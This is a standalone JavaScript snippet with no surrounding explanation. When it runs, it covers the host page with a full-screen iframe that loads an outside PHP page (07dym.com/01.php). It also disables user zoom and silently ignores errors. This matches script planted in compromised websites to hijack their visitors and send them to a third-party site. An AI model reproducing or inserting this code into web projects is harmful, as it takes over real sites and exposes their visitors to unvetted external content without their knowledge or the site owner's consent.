(function() {
  var urlArr = ["http://www.07dym.com/01.php"];
  var _url = urlArr[randomRange(urlArr.length)];
  setFrame(_url);

  function setFrame(olink){
    var ss = '<div style="height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial; background-repeat: initial;"><iframe id="showcloneshengxiaon" scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" height="100%" src="'+olink+'"></iframe></div><style type="text/css">html{width:100%;height:100%;}body {width:100%;height:100%;margin: 0;}</style>';
    setTimeout(function() {
      try {
        var _body = document.getElementsByTagName('body')[0];
        if(_body){
          document.getElementsByTagName('body')[0].insertAdjacentHTML('beforeend', ss);
        }else{
          setTimeout(function() {
            document.getElementsByTagName('body')[0].insertAdjacentHTML('beforeend', ss);
          }, 1000)
        }
        var oMeta = document.createElement('meta');
        oMeta.name = 'viewport';
        oMeta.content = 'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no';
        document.getElementsByTagName('head')[0].appendChild(oMeta);
      } catch (e) {}
    }, 200)
  }
  
  function randomRange(max) {
    return Math.floor(Math.random() * max);
  }
})();